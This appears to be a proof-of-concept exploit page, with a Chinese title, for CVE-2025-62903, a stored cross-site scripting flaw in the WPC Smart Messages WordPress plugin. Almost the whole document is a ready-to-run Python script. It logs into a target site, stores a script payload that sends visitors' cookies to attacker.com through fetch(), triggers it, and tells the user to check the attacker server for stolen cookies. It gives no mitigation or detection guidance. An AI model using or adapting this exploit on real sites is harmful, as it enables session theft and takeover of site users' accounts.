CVE-2025-62903 WPC Smart Messages插件存储型XSS漏洞

import requests import sys # CVE-2025-62903 PoC - WPC Smart Messages Stored XSS # Target: WordPress site with WPC Smart Messages plugin <= 4.2.8 target_url = sys.argv[1] if len(sys.argv) > 1 else 'http://target.com' username = 'attacker' password = 'attacker_password' session = requests.Session() # Step 1: Login to WordPress login_url = f'{target_url}/wp-login.php' login_data = { 'log': username, 'pwd': password, 'wp-submit': 'Log In', 'redirect_to': '/wp-admin/', 'testcookie': '1' } session.post(login_url, data=login_data) # Step 2: Create message with XSS payload # The XSS payload will be stored and executed when viewed xss_payload = '<script>fetch("https://attacker.com/steal?c="+document.cookie)</script>' message_data = { 'post_title': 'Malicious Message', 'post_content': xss_payload, 'post_type': 'wpc_message', 'action': 'save_message' } # Step 3: Submit the malicious message add_message_url = f'{target_url}/wp-admin/admin-ajax.php' message_response = session.post(add_message_url, data=message_data) # Step 4: Trigger XSS by accessing the message page message_page_url = f'{target_url}/?wpc_message=malicious-message' session.get(message_page_url) print('XSS payload sent. Check attacker server for stolen cookies.') print(f'Payload: {xss_payload}')